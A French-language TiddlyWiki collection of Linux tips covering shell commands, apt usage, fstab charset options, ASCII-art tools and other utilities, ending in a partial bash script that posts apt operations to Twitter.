''passwd '' permet de modifier le mot de passe utilisateur
----
''pg '' permet de visualiser les fichiers et les données page par page
----
''pr'' permet de formater des données et des fichiers
----
''ps'' permet d'afficher des informations sur l'etat des processus en cours
----
''pwd'' permet d'affichier le répertoire actif
----
''read'' permet de lire des valeurs
----
''readonly'' permet de protéger des variables du shell contre l'écrasement
----
''return'' permet de quitter prématurement une fonction du shell
----
''rm'' permet de supprimer un fichier
----
''rmdir'' permet de supprimer un répertoire
----
''sed'' il s'agit d'un éditeur de texte batch
----
''select'' permet une sélection de menu simple dans le shell
----
''set'' permet la gestion des options et des paramètres de position
----
''shift'' permet de convertir des paramètres de position
----
''sleep'' permet une interruption du traitetement pendant un certain laps de temps
----
''sort'' permet de trier des données et des fichiers ligne par ligne
----
''stty'' permet de configurer une interface série
----
''su'' permet de changer de numéro d'utilisateur
----
''sync'' permet de sauvegarder de la mémoire tampon d'entrées/sorties
----
''tail'' permet d'afficher la fin d'un fichier ou d'un ensemble de données
----
''tar'' permet de sauvegarder et d'archiver des fichiers
----
''tee'' permet de dupliquer un flux de données
----
''test'' permet un controle de condition
----
''time'' permet de calculer la durée d'exécution d'une commande
----
''touch'' permet de modifier la date d'accés ou de modification
----
''tr'' permet de convertir des caractères
----
''trap'' permet la gestion des réactions aux signaux
----
''true'' il s'agit de la valeur standart pour un shell standart
----
''tty'' permet l'affichage du nom des terminaux
----
''typeset'' permet de modifier les valeurs d'attributs des variables du shell
----
''ulimit'' permet de fixer la taille maximale d'un fichier
----
''umask'' permet de définir des droits d'access prédefinis
----
''unalias'' permet de supprimer un nom d'alias
----
''uname'' permet de demander le nom du systeme
----
''unset '' permet de supprimer des définitions de varaibles et de fonctions
----
''until'' il s'agit d'une structure de controle de boucles
----
''vi'' il s'agit d'un éditeur orienté écran
----
''wait'' permet d'attendre un processus en arrière-plan
----
''wall'' permet d'envoyer un message à tous les utilisateurs
----
''wc'' permet de compter des caractères, des mots et des lignes
----
''while'' il s'agit d'un structure de controle de boucles
----
''who'' permet d'afficher la liste des utilisateurs connectés
----
''write'' permet d'envoyer un message à d'autres utilisateurs
----
''xargs'' permet la combinaison de lignes de commandes et de saisie de clavier
Astuce: ''Utilisation de //apt//''
Mots clef: bash, systeme, packages
Os: Ubuntu/Debian
Liens: [[source 1|http://doc.ubuntu-fr.org/applications/apt]], [[source 2| http://sydtux.free.fr/dotclear/index.php?2006/09/07/48-maintenir-sa-distribution-clean]]
<<<
''apt-get'' 
apt-get est une interface simple en ligne de commande (nécessitant d'être root ou sudo) et permet d'effectuer l'installation et la désinstallation facile de paquets en provenance d"un dépôt APT configuré dans ///etc/apt/sources.list// (voir dpkg pour les paquets extérieurs aux dépôts). 

{{{$ apt-get install <paquet(s)>}}}
La commande install passée à apt-get permet d'installer les paquets indiqués, depuis les dépôts APT configurés. 

{{{$ sudo apt-get -f install}}}
Correction des dépendances, en cas d'installation corrompue par exemple.

{{{$ apt-get remove <paquets(s)>}}}
La commande remove permet de désinstaller les paquets indiqués. Ceci laisse toutefois en place les fichiers de configuration de ces paquets. 

{{{$ apt-get remove --purge <paquets(s)>}}}
L'option purge, passée à la commande remove, supprime les paquets indiqués et leurs fichiers de configuration. Sans l'option purge, ces fichiers sont conservés sur le système. Ceci permet de réinstaller plus rapidement le package.

{{{$ apt-get update}}}
La commande update met à jour la liste des fichiers disponibles dans les dépôts APT présents dans le fichier de configuration ///etc/apt/sources.list//. 

{{{$ apt-get upgrade}}}
La commande upgrade met à jour tous les paquets installés vers les dernières versions. 

{{{$ apt-get dist-upgrade}}}
La commande dist-upgrade met à jour votre distribution Ubuntu vers la version supérieure. 

{{{$ apt-get autoclean}}}
APT conserve une copie de chaque paquet installé et désinstallé sur votre disque dur. Exécuter la commande autoclean permet de supprimer les copies des paquets désinstallés. Ceci vous permet de récupérer beaucoup d"espace disque. Si vous êtes vraiment à la recherche d'espace disque,

{{{$ apt-get clean}}}
Même chose que l'option autoclean mais  en plus plus radicale, puisqu'elle supprime également les copies des paquets installés. (Notez que cela n"a aucun impact sur les paquets installés.) La commande deborphan du paquet homonyme permet de connaître les paquets inutiles, par exemples les bibliothèques auxquelles aucun programme ne fait appel. 

''apt-cache''
apt-cache est une interface permettant d'effectuer quelques manipulations basiques sur les paquets, installés ou non, disponibles dans la liste mise en cache des paquets des dépôts APT configurés. Il ne nécessite pas les droits d'administration. 

{{{$ apt-cache search <chaîne>}}}
La commande search recherche une chaîne de caractères dans la liste des paquets connus. A utiliser avec la commande grep.

{{{$ apt-cache showpkg <paquet(s)>}}}
La commande showpkg affiche des informations sur les paquets indiqués. 

{{{$ apt-cache dumpavail}}}
La commande dumpavail affiche une liste des paquets disponibles. 

{{{$ apt-cache show <paquet(s)>}}}
La commande show affiche les informations sur un paquet (depuis le cache). Cette commande est similaire à dpkg –print-avail. 

''apt-file''
{{{$ sudo apt-file update}}}
À faire la première fois pour mettre à jour la liste des fichiers. 

{{{$ apt-file search <nomdefichier>}}}
Cherche si un paquet (pas forcément installé) contient les fichiers dont le nom contient la chaîne spécifiée. apt-file est un paquet à lui tout seul, il faudra l'installer via apt-get install d"abord, et exécuter ensuite apt-file update. Si apt-file search nomdefichier affiche trop d"entrées, essayez {{{$ apt-file search nomdefichier | grep -w nomdefichier}}} (qui ne vous donnera que les fichiers contenant le nom du fichier comme un seul mot) ou des variantes du genre {{{$ apt-file search filename | grep /bin/}}} où seuls les fichiers situés dans les répertoires comme ///bin// ou ///usr/bin// seront listés, utile, quand on cherche un exécutable uniquement). 

''deborphan''
La commande deborphan (qui dépend du programme du même nom, à installer) trouve les paquets orphelins sur votre système, c'est à dire ceux dont aucun autre paquet ne dépend. Par défaut, la recherche est effectuée dans les sections «libs» et «oldlibs». 

{{{$ sudo apt-get remove --purge `deborphan`}}}
Pour supprimer l'ensemble des paquets listés 
Ou encore lancer sudo orphaner pour choisir individuellement les paquets à supprimer. L'option -a permet de vérifier l’ensemble des paquets, sans se limiter à ces sections. 

{{{$ sudo apt-get remove --purge `deborphan --guess-all`}}}
Pour supprimer TOUS les paquets orphelins .

''Note: ''Voir aussi l'excellente alternative AptiTude.
Astuce: ''Conversion de textes, d'images et de vidéos en ascii''
Mots clef: image, vidéo, ascii
Os: Linux
<<<
* ''Figlet''
Grâce à l'utilitaire figlet, on peut afficher n'importe quel texte sous forme d'ascii-art: 
Ainsi {{{$ figlet -f small "TUX"}}} nous donne
<html>
<pre>
 _____ _   ___  __
|_   _| | | \ \/ /
  | | | |_| |>  <
  |_|  \___//_/\_\
</pre>
</html>
L'option -f permet de définir la police. Pour avoir une liste des polices disponibles: {{{$ showfigfonts | less}}}

Voir aussi BoXes pour la création automatique de cadre (pour commentaires par exemples) et CowSay pour une vache qui parle
* ''aview / cacaview''
Pour afficher une image .jpg en ascii directement dans la console, on peut utiliser aview, qui nécessite d'abord une conversion en pnm:
{{{
$ convert image.jpg image.pnm
$ aview -driver curses image.pnm
}}}
Une autre possibilité est d'utiliser la bien nommée lib-caca, grâce à cacaview, on peut directement afficher une image .jpg. 
(A essayer aussi {{{$ cacafire}}} pour voir)
{{{
$ cacaview image.jpg
}}}
* ''aa-lib''
Pour finir la bibliothèque aa-lib permet de se faire un petit film en console ! 
Avec mplayer ça donne:
{{{
$ mplayer -vo aa monfilm.avi
}}}
ou 
{{{
$ mplayer -vo caca nom_du_fichier.avi 
}}}
A essayé aussi
{{{
$ apt-get install bb
$ bb
}}}
* aa3d 
{{{# aptitude install aa3d}}}
Permet l'affichage d'images stéréographiques grâce à des caractère ascii (pour plus d'info voir [[ici|http://aa-project.sourceforge.net/aa3d/]]
exemple:
<html>
<pre>
GJTR`KMJN[LSGJTR`KMJN[LSGJTR`KMJN[LSGJTR`KMJN[LSGJTR`KMJN[LSGJTR`KMJN[LSGJTR`
]KMQ\\SP]UMY]KMQ\\SP]UMY]KMQ\\SP]UMY]KMQ\\SP]UMY]KMQ\\SP]UMY]KMQ\\SP]UMY]KMQ\
ER_J]KUMS\QPER_J]KUMS\QPER_]KUMS\QPER_]KUUMS\QPER_]KUMS\QPER_]KUMSS\QPER_]KUM
CQE_PSVJ^COJCQE_PSVJ^COJCQ_PSVJ^COJCQ_PSVJJ^COJCQ_PVJJ^COJCQ_PVJJ^CCOJCQ_PVJJ
HTXZQDDUTZUXHTXZQDDUTZUXHXZQDDDUTZUXHXQDDDUUTZUXHXDDDUUUTZUXHXDDUUUTTZUXHXDDU
EYZIHVFQ[K`CEYZIHVFQ[K`CEZIHVFFQ[K`CEZHVFFQQ[K`CEZVFFQQQ[K`CEZVFQQQ[[K`CEZVFQ
EEDHYNWSMFZCEEDHYNWSMFZCEDHYNWWSMFZCEDYNWWSSMFZCEDNWWSSSMFZCEDNWSSSMMFZCEDNWS
ZNFDRGB`JKZVZNFDRGB`JKZVZFDRGB`JKZVZFDRGB`JJKZVZFDGB`JJKZVZFDGB`JJKZZVZFDGB`J
NQAQLHPZQ\X`NQAQLHPZQ\X`NAQLHPZQ\X`NAQLHPZQQ\X`NAQHPZQQ\X`NAQHPZQQ\XX`NAQHPZQ
VRMT^C]XN_TPVRMT^C]XN_TPVMT^C]]XN_TPVM^C]]XXN_TPVMC]]XXXN_TPVMC]XXXNN_TPVMC]X
CNH^N\HYWVQMCNH^N\HYWVQMCH^N\HHYWVQMCHN\HHYYWVQMCH\HHYYYWVQMCH\HYYYWWVQMCH\HY
KJ\A[RN\]WNKKJ\A[RN\]WNKK\A[RNN\]WNKK\[RNN\\]WNKK\RNN\\\]WNKK\RN\\\]]WNKK\RN\
`YCILI^CE[QU`YCILI^CE[QU`YCILI^CE[QU`YCILI^CE[QU`YCILI^CE[QU`YCILI^CE[QU`YCIL
UBIKIDP^E[ZMUBIKIDP^E[ZMUBIKIDP^E[ZMUBIKIDP^E[ZMUBIKIDP^E[ZMUBIKIDP^E[ZMUBIKI
E^\CLHAQBGEDE^\CLHAQBGEDE^\CHAQBGEDE^\CHHAQBGEDE^\HHAQBGEDE^\HHAQQBGEDE^\HHAQ
JYB_V_B`LP_RJYB_V_B`LP_RJYBV_B`LP_RJYBV_BB`LP_RJYB_BB`LP_RJYB_BB`LLP_RJYB_BB`
NCLD`^KRCE[]NCLD`^KRCE[]NCLD`^KRCE[]NCD`^KRRCE[]NCD^KRRCCE[]NCDKRRCCCE[]NCDKR
]L[\[Z`EFM[[]L[\[Z`EFM[[]L[\[Z`EFM[[]L\[Z`EEFM[[]L\Z`EEFFM[[]L\ZEEFFFM[[]L\ZE
HTHE\JXLNQLGHTHE\JXLNQLGHTHE\XLNQLGHTHE\XLLNQLGHTHEXLLNQQLGHTHEXLNQQQLGHTHEXL
IZFRH[M[JHNKIZFRH[M[JHNKIZFRHM[JHNKIZFRHM[[JHNKIZFRM[[JHHNKIZFRM[JHHHNKIZFRM[
]F^MEP][OOMT]F^MEP][OOMT]F^MEP][OOMT]FMEP][[OOMT]FMP][[OOOMT]FMP[[OOOOMT]FMP[
NRT[MDN^PW]QNRT[MDN^PW]QNRT[MDN^PW]QNR[MDN^^PW]QNR[DN^^PPW]QNR[N^^PPPW]QNR[N^
PB_VZWTFO\WMPB_VZWTFO\WMPB_ZWTFO\WMPB_ZWTTFO\WMPB_WTTFO\WMPB_WTTFOO\WMPB_WTTF
BPZRZ[IDK_ZIBPZRZ[IDK_ZIBPZR[IDK_ZIBPZR[[IDK_ZIBPZ[[IDK_ZIBPZ[[IDDK_ZIBPZ[[ID
ET_^__[\VEXJET_^__[\VEXJET_^__[\VEXJET_^__[\VEXJET_^__[\VEXJET_^__[\VEXJET_^_
</pre>
</html>
<<tagging ASgraphisme>>
<<tagging ASinternet>>
<<tagging Asmultimedia>>
<<tagging ASreseau>>
<<tagging ASsecurite>>
<<tagging ASsysteme>>
''Liste des astuces''

<<slider chkSlider TipX "Toutes">><<slider chkSlider ASsysteme "Système">><<slider chkSlider ASsecurite "Sécurité">><<slider chkSlider ASreseau "Réseau">><<slider chkSlider ASutilitaire "Utilitaires">><<slider chkSlider ASinternet "Internet">><<slider chkSlider PRmultimedia "Multimédia">>
<<slider chkSlider ASgraphisme "Graphisme">><<slider chkSlider ASbureautique "Bureautique">><<slider chkSlider ASdeveloppement "Développement">><<slider chkSlider ASjeux "Jeux">>
<<tagging ASutilitaire>>
Astuce: ''Modification de fstab pour avoir accès aux fichiers accentués dans une partition windows fat''
Mots clef: Système, encodage
Os: Linux
<<<
Si les accents des fichiers des systèmes de fichiers montés (partitions Windows, CD-ROM) ne s’affichent pas correctement, éditez le fichier ///etc/fstab// et rajoutez //iocharset=iso8859-1// dans la colonne options des systèmes de fichiers concernés :
exemple:
{{{
# /etc/fstab: static file system information.
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
/dev/hdc        /media/cdrom0   iso9660 ro,user,noauto,iocharset=iso8859-1          0       0
/dev/hda1       /mnt/win_c      vfat    defaults,rw,user,noauto,iocharset=iso8859-1 0       0
/dev/sda1       /mnt/cle        vfat    rw,users,noauto,iocharset=iso8859-15        0       0
}}}
Une autre possibilité est (surtout pour les fichiers .tex):
{{{
/dev/hda1      /media/winxp      ntfs      defaults,users,exec,nls=utf8,ro,auto,gid=1000,umask=000   0   0
/dev/hda5       /media/data     vfat    defaults,users,auto,exec,iocharset=utf8,codepage=850,umask=000,gid=1000        0       0 
}}}
<<<
''Nom de l'application'': ''@@color(red): AcetoneISO @@''
Mots clef: cd, montage iso
Liens: [[page kde-apps| http://kde-apps.org/content/show.php?content=44805 ]]
<<<
''Description: ''Acetoneiso permet de monter des archives .iso ou .ngr qui sont des fichiers contenant l'image virtuelle d'un cd-rom.

''Installation: ''Les paquets suivants doivent tout d'abord être installés:
{{{
# apt-get install kommander
# apt-get install p7zip
}}}
Ensuite télecharger le fichier .dev pour ubuntu sur la [[page kde-apps| http://kde-apps.org/content/show.php?content=44805 ]] correspondante et l'installer:
{{{
# dpkg -i AcetoneISO.deb
}}}

''Notes: ''Equivalent linux de, par exemple, Deamon Tools ou alcohol 120%
''Nom de l'application'': ''@@color(red): Acidrip @@''
Mots clef: multimedia, encodage dvd
<<<
''Description: ''Logiciel d'encodage dvd, utilisant mplayer pour l'encodage. Beaucoup moins paramétrable que DvdRip

''Installation: ''{{{# aptitude install acidrip}}}
Astuce: ''Utiliser les touches mutlimédia du clavier''
Mots clef: système
Os:Linux
A noter que pour Ubuntu, à partir de la version 6.10 (Edgy), les touches multimédia sont reconnues automatiquement et voir KeyTouch.
<<<
Lancer dans une console
{{{
$ xev
}}}
Ce qui vous permettra d'identifier, après avoir appuyé sur la touche que vous désirez configurer, le //keycode// de la touche. Par exemple {{{keycode 176}}}
Ensuite créer un fichier .Xmodmap dans votre dossier personnel ({{{$ touch /home/moi/.Xmodmap}}})
Editer le fichier et mapper les touches désirées de la manière suivante:
{{{
keycode 176 = F13
keycode 162 = F14
}}}
Où F13 et F14 sont des touches absentes de votre clavier
Finalement
{{{
$ xmodmap ~/.Xmodmap
}}}
pour activer le mappage
Ensuite suivre les instructions RaccourcisClavierKDE pour utiliser les touches nouvellement définies
<<<
<<option chkGenerateAnRssFeed>> GenerateAnRssFeed
<<option chkOpenInNewWindow>> OpenLinksInNewWindow
<<option chkSaveEmptyTemplate>> SaveEmptyTemplate
<<option chkToggleLinks>> Clicking on links to tiddlers that are already open causes them to close
^^(override with Control or other modifier key)^^
<<option chkHttpReadOnly>> HideEditingFeatures when viewed over HTTP
<<option chkForceMinorUpdate>> Treat edits as MinorChanges by preserving date and time
^^(override with Shift key when clicking 'done' or by pressing Ctrl-Shift-Enter^^
<<option chkConfirmDelete>> ConfirmBeforeDeleting
Maximum number of lines in a tiddler edit box: <<option txtMaxEditRows>>
Folder name for backup files: <<option txtBackupFolder>>
//<<gradient citation #ffffff #ffffff   >>color:black;text-align:center;<<QOTD CitationS>>>>//
Astuce: ''Afficher rapidement un calendrier en ligne de commande''
Mots clef: calendrier
Os: Linux
<<<
On ne peut plus simpe:
{{{
$ cal 1977
}}}
Astuce: ''Afficher sur un site Internet un joli patchwork miniature de vos photos flickr''
Mots clef: Internet, flickr, images, photos
Os: Tous
Liens: [[ text | url ]]
<<<
Tout d'abord il est nécessaire d'obtenir votre id flickr [[ici|http://idgettr.com/]]
Ensuite Il suffit de mettre la ligne html suivante sur votre site:
{{{
<a href="http://www.flickr.com" style="text-align:center;">www.<strong style="color:#3993ff">flick<span style="color:#ff1c92">r</span></strong>.com</a><br>
<iframe style="background-color:#ffffff; border-color:#ffffff; border:none;" width="113" height="151" frameborder="0" scrolling="no" src="http://www.flickr.com/apps/badge/badge_iframe.gne?zg_bg_color=ffffff&zg_person_id=VOTRE_ID" title="Flickr Badge"></iframe>
}}}
ce qui donne quelque chose du genre:
<html>
<a href="http://www.flickr.com/photos/bartux/" style="text-align:center;"><strong style="color:#3993ff">Bar<span style="color:#ff1c92">tux</span></strong>@flickr</a><br>
<iframe style="background-color:#ffffff; border-color:#ffffff; border:none;" width="113" height="151" frameborder="0" scrolling="no" src="http://www.flickr.com/apps/badge/badge_iframe.gne?zg_bg_color=ffffff&zg_person_id=7278966@N06" title="Flickr Badge"></iframe>

</html>
Pour afficher un diaporama flash sur votre site, insérez la ligne suivante (en changer user_id et tags)
{{{
<iframe align=center src=http://www.flickr.com/slideShow/index.gne?user_id=12345678@N00&tags=foo frameBorder=0 width=500 scrolling=no height=500></iframe>
}}}
Ce qui donne:
<html>
<iframe align=center src=http://www.flickr.com/slideShow/index.gne?user_id=7278966@N06 frameBorder=0 width=500 scrolling=no height=500></iframe>
</html>
NB: les paramètres suivants sont disponibles: contacts= ; text= ; tag_mode= ; favorites= ; group_id= ; frifam= ; nsid= ; single= ; firstIndex= ; set_id= ; firstId=
''Nom de l'application'': ''@@color(red): Agave @@''
Mots clef: couleur, color, 
<<<
''Description: ''Petite application pour faciliter le choix des couleurs pour webmasters, graphistes et autre GimP -iste

''Installation: ''[[via apt|apt://agave]]

''Utilisation: ''via l'interface graphique.

''Notes: ''Il y a encore plus simple avec gcolor2
''Nom de l'application'': ''@@color(red): Ajaxterm @@''
Mots clef: réseau, controle à distance
Liens: [[source|http://nawer.freecontrib.org/index.php?2006/05/24/203-ajaxterm-un-terminal-a-distance-dans-un-simple-navigateur]], [[site de l'auteur| http://antony.lesuisse.org/qweb/trac/wiki/AjaxTerm ]], [[config| http://nawer.freecontrib.org/index.php?2006/05/24/203-ajaxterm-un-terminal-a-distance-dans-un-simple-navigateur ]], [[config ubuntu|https://help.ubuntu.com/community/AjaxTerm]]
<<<
''Description'': Un logiciel permettant un accès à la console via une interface web.

''Installation: '' [[via apt|apt://ajaxterm]]

''Utilisation: ''

Initialisation du service:
{{{
# /etc/init.d/ajaxterm start
}}}
En cas de problème avec la configuration ssh éditer le fichier ///etc/ssh/ssh_config// et décommenter:
{{{
PasswordAuthentication yes
}}}

Pour se connecter: {{{http://localhost:8022/}}}

Pour une connexion externe sécurisée voir  [[config ubuntu|https://help.ubuntu.com/community/AjaxTerm]].

''Notes:'' Possibilité de connexion sécurisée ssl voir liens source ou config.
<<<
Astuce: ''Ajouter à un nouvel utilisateur les droits root''
Mots clef: Système, droits
Os: Ubuntu
Liens: [[source|http://www.zolved.com/synapse/view_content/28019/How_to_add_an_additional_Super_User_DOSUDO_in_Ubuntu ]]
<<<
Pour ajouter un nouvel utilisateur à sudo, il faut utiliser la commande usermod:
{{{
# usermod -G admin nomUtilisateur
}}}
Cependant, si cet utilisateur appartient déjà à un autre groupe, alors il faudra ajouter l'option -a:
{{{
# usermod -a -G admin nomUtilisateur
}}}
''Nom de l'application'': ''@@color(red): Alltray @@''
Mots clef: utilitaire, desktop
Liens: [[site officiel| http://alltray.sourceforge.net/]]
<<<
''Description: ''Alltray permet de réduire facilement toute application dans la zone de notification, elle fonctionne sous Gnome, kde, xfce 4, Fluxbox et Windowmaker. 

''Installation: ''[[via apt|apt://alltray]]

''Utilisation: ''Simplement lancer {{{$ alltray}}}

''Notes: ''
#Il peut être utile d'attribuer à Alltray un raccourci clavier et d'ainsi pouvoir minimiser rapidement une application (je l'utilise systèmatiquement avec thunderbird et amule), voir RaccourcisClavierKDE ou KeyTouch.
#Voir aussi KDocker
''Nom de l'application'': ''@@color(red): Alsaplayer-esd @@''
Mots clef: son, réseau
Liens: [[source|http://linuxfr.org/tips/488.html ]]
<<<
''Description: ''Lecteur audio réseau en ligne de commande.

''Installation: ''{{{apt-get install alsaplayer-esd}}}

''Notes: ''Pour jouer un fichier audio ogg vorbis situé sur une machine distante vers les haut-parleurs de votre machine locale, il vous suffit d'utiliser esd (esound, le démon audio de GNOME), en mode réseau grâce aux options -tcp -public sur votre machine locale, et d'initialiser la variable d'environnement ESPEAKER sur votre machine distante.
Exemple de ligne de commande:
{{{
$ killall esd
$ esd -tcp -public &
$ ssh moi@ip.de.machine.distante
$ cd Music
$ export ESPEAKER=ip.de.ma.machine
$ ogg123 -d esd fichier.ogg
}}}
<<<
''Nom de l'application'': ''@@color(red): Amarok @@''
Mots clef: musique, lecteur, audio, gestion, collection, mp3, ogg, player
<<<
''Description: ''Amarok est ''le'' lecteur audio pour kde ainsi qu'un puissant organiseur de musique.

''Installation: ''{{{# aptitude install amarok}}}

''Notes: ''Il permet, comme GtkPod, la gestion de l'ipod
Astuce: ''Augmenter les fonctions de Nautilus''
Mots clef: explorer, nautilus
Os: Linux
<<<
Installation: [[via apt| apt://nautilus-gksu,nautilus-image-converter,nautilus-open-terminal]]
ou
{{{# aptitude install nautilus-gksu nautilus-image-converter nautilus-open-terminal}}}
#Image-converter: scripts images (re-dimensionner, rotation, renommer). 
#Open-terminal: ouvrir un terminal dans le dossier courantrenommage).
#gksu: permet de lancer ou éditer un fichier en tant que root par un clic droit

''Note:'' voir aussi NisNautilus et NautilusImageConverter pour dimensionner les image 
''Nom de l'application'': ''@@color(red): Amor @@''
Mots clef: Distraction, tux, Desktop
<<<
''Description: ''Amor signifie "Amusing Misuse Of Resources" .Il s'agit d'un petit utilitaire KDE affichant un petit personnage sur le bureau. Il peut se déplacer, vous amuser, afficher des astuces KDE et devenir vite difficile à supporter.

''Installation: ''{{{# aptitude install amor}}}
Astuce: ''ajouter une clé gpg manquante pour un dépôt PPA''
Mots clef: apt, clef
Os: Debian, Ubuntu
Liens: [[source| http://ubuntu-tutorials.com/2009/05/14/add-ppa-key-to-your-apt-keyring/ ]]
<<<
La commande suivante permet d'ajouter une clé gpg manquante pour un dépôt PPA:
{{{
# apt-key adv --keyserver keyserver.ubuntu.com --recv-keys <key id>
}}}
Où <key id> peut être obtenu avec la commande
{{{
# apt-get update
}}}
But: ''Faire un log de toutes les opérations faite avec apt-get ou aptitude sur un compte twitter.com''
Mots clef: apt-get, aptitude, twitter
<<<
''Notes: ''L'API de twitter permet de pouvoir facilement, grâce à CurL, poster des "twitts" en ligne de commande. Il est donc nécessaire d'[[installer curl|apt://curl]].
Pour poster un twitt, rien de plus simple:
{{{
$ curl -u nomUtilisateur:motDePasse -d status="Un petit essai en ligne de commande" http://twitter.com/statuses/update.xml
}}}

''Utilisation: ''Le script ci-dessous est l'adaptation français du script de Ashok Gelal disponible sur http://quicktweaks.com. J'ai essayer d'utiliser aptitude à la place de apt-get quand c'était possible. Le script original est disponible plus loin également.

''Script: '' 
{{{

#!/usr/bin/env bash

#*************************************************************************#
#
# Adaption et traduction du script de Ashok Gelal (voir ci-dessous)
# Utilisation de aptitude en lieu et place de apt si possible
#
#****************************@Bartux.net2008**********************************#
#
#tapt v0.2.1 Ashok Gelal, a guy from Nepal currently studying in the United States
#For support, questions, comments, suggestions and more suffs: http://quicktweaks.com
#Contact: ashokgelal@gmail.com
#You are free to modify and distribute this file. Give me credit if you like otherwise it's ok.

curl="/usr/bin/curl"
#Remplacer username et password par vos informations de votre compte twitter.com.
#Si vous ne désirez pas entrer ces informations ici, vous pouvez utiliser: username (-u) and password(-p) comme argument en ligne de commande.
username="nomUtilisateur"
password="motDePasse"

#Il est nécessaire de lancer le script en tant que root
if [ `id -u` != "0" ]; then
	echo "Vous devez être en mode sudo!"
	exit 1
fi

#Flags
AUTOCLEANFLAG=
AUTOREMOVEFLAG=
BUILDDEPFLAG=
CHECKFLAG=
CLEANFLAG=
DISTUPGRADEFLAG=
INSTALLFLAG=
PURGEFLAG=
REMOVEFLAG=
UPDATEFLAG=
UPGRADEFLAG=
USERNAMEFLAG=
PASSWORDFLAG=
MESSAGEFLAG=
OPTIONFLAG=
SILENTFLAG=
OPERATIONFLAG=
actionMessage=
tweetMessage=
errorMessage=
depArgs=
installArgs=
removeArgs=
status=

#Fonction concernant l'utilisation du script
function usage()
{
	printf "Utilisation: %s [-a] [-v] [-b paquet(s)] [-c] [-n] [-d] [-i paquet(s)] [-p] [-r paquet(s)] [-t] [-u username] [-m message] [-h] [-o] [-s]\n\n" $(basename $0)

}

#Fonction affichant la list des options disponibles
function listOptions()
{
	echo "basé sur tapt v0.2.1. Autheur: Ashok Gelal. Dernière modification du script original on 5th September 2008."
	echo ""
	echo "Options disponibles:"
	echo "a - autoclean - Effacement des fichiers d'archive télechargés"
	echo "v - autoremove - Paquets non-utilisés automatiquement enlevés"
	echo "b - build-dep - Configuration des dépendances pour les paquets sources (nom de paquet en paramètre)"
	echo "c - check - Verification qu'il n'y a pas de dépendance brisée"
	echo "n - clean - Effacement des fichiers d'archive télechargés"
	echo "d - dist-upgrade - Mise à jour de la distribution (passer à une nouvelle distribution)"
	echo "i - install - Installation de nouveaux paquets (nom de paquet en paramètre)"
	echo "e - purge - Enlever et purger les paquets"
	echo "r - remove - Enlever paquet (nom de paquet en paramètre)"
	echo "t - update - Mise à jour de la liste des paquets disponibles"
	echo "g - upgrade - Mise à jour du système et des paquets installés"
	echo "u - username - nom utilisateur de twitter.com (nom en paramètre)"
	echo "p - password - mot de passe de twitter.com (mot de passe en paramètre)"
	echo "m - message - Message pour Twitter. Faites court."
	echo "h - help - Aide"
	echo "o - liste des options"
	echo "s - mode silencieux"
}

#Fonction permettant de vérifier si erreur il y a et de quitter le cas échéant
function checkError()
{
	if [ $1 != 0 ]; then
		printf "\n\n*********************************** CRAP!!! *********************************"
		printf "\n\nOops! Quelque chose ne s'est pas passé comme prévu !"
		printf "\n\n%s" "$errorMessage"
		printf "\n\n************************************ ERROR! *********************************\n\n"
		exit 2
	fi
}

#Fonction permettant de mettre le message en ligne sur twitter.com
function postTweet()
{
	showMessage="$message"
	translate
	
	if [ $SILENTFLAG ]; then
		clear
	fi	

	#vérification de la longueur du message
	if [ $(echo $status|wc -m) -gt 140 ]; then
		errorMessage="La longueur du message excède malheuresement 140 caractères"
		ERROR=1
		checkError $ERROR
	fi
	
	printf "\n********************************* Tweeting **********************************\n"
	#sauvegarde de la sortie de curl dans une variable
	OUTPUT=`curl -S -s --basic --user "$username:$password" --data-ascii "status=$status" "http://twitter.com/statuses/update.json"`
	
	#le résultat de la commande précédante?
		ERROR=$?
	
	#Vérifie si l'authentification sur twitter.com fonctionne
	if [[ "$OUTPUT" =~ "Authentification impossible" ]]; then
		errorMessage="Vérifier username and password."
		ERROR=1
		checkError $ERROR
	fi
	
	#vérification en cas d'erreur
	checkError $ERROR
	
	#quand tout semble s'être passé comme prévu
	printf "\nMessage sur Twitter.com: \"%s.\" C'est en ordre?" "$showMessage"
	printf "\n\n*********************************** DONE ************************************\n\n"
}

#Traduction du message, remplacement des espaces par des +
function translate()
{
	status=`echo $message|tr ' ' '+'`
}

#boucle sur l'ensemble des options
while getopts :avb:cndi:er:tgu:p:m:hos OPTION
do
	OPTIONFLAG=1
	case $OPTION in
		a) 	
			AUTOCLEANFLAG=1
			OPERATIONFLAG=1
		;;
		v) 	
			AUTOREMOVEFLAG=1
			OPERATIONFLAG=1
		;;
		b) 	#paramètre
			depArgs="$OPTARG"
		   	BUILDDEPFLAG=1
		   	OPERATIONFLAG=1
		;;
		c) 	
			CHECKFLAG=1
			OPERATIONFLAG=1
		;;	
		n) 	
			CLEANFLAG=1
			OPERATIONFLAG=1
		;;
		d) 	
			DISTUPGRADEFLAG=1
			OPERATIONFLAG=1
		;;
		i) 	#paramètre
			installArgs="$OPTARG"
			INSTALLFLAG=1
			OPERATIONFLAG=1
		;;
		e)	
			PURGEFLAG=1
			OPERATIONFLAG=1
		;;
		r)	#paramètre
			removeArgs="$OPTARG"
			REMOVEFLAG=1
			OPERATIONFLAG=1
		;;
		t)	
			UPDATEFLAG=1
			OPERATIONFLAG=1				
		;;
		g)	
			UPGRADEFLAG=1
			OPERATIONFLAG=1					
		;;
		u)	#paramètre (username)
			username="$OPTARG"
			USERNAMEFLAG=1
		;;
		p)	#obtenir les paramètres (password)
			password="$OPTARG"
			PASSWORDFLAG=1
		;;		
		m)	#paramètre (message)
			MESSAGEFLAG=1
			tweetMessage="$OPTARG"
		;;
		h)	#affichage de l'utilisation
			usage
			#OPERATIONFLAG=1
			exit 0
		;;
		o)	#affichage de la liste des options
			listOptions
			#OPERATIONFLAG=1
			exit 0
		;;
		s)	
			SILENTFLAG=1
		;;
		\:)	#L'utilisateur n'a pas entré les paramètres d'une certaine option
			printf " -%s paramètre manquant.\n\n" "$OPTARG"
			usage
			exit 2
		;;		
		\?)	#L'utilisateur à entré une option non-valide
			printf "option inconnue\n\n" "$OPTARG"
			usage
			exit 2
		;;
	esac >&2
done

#Vérifications et mise en route
#si aucune option n'est présente
if [ "$OPTIONFLAG" != "1" ]; then
	printf "veuillez entrer au moins une option\n\n"
	usage
	exit 2
fi

if [ "$OPERATIONFLAG" != "1" ]; then
	printf "option inconnue\n\n"
	usage
	exit 2
fi
	tweetMessage=$tweetMessage:" "

if [ "$AUTOCLEANFLAG" ]; then
	sudo aptitude autoclean
	ERROR=$?
	checkError $ERROR
	message=$messages"Archives obsoletes effacées. "
fi

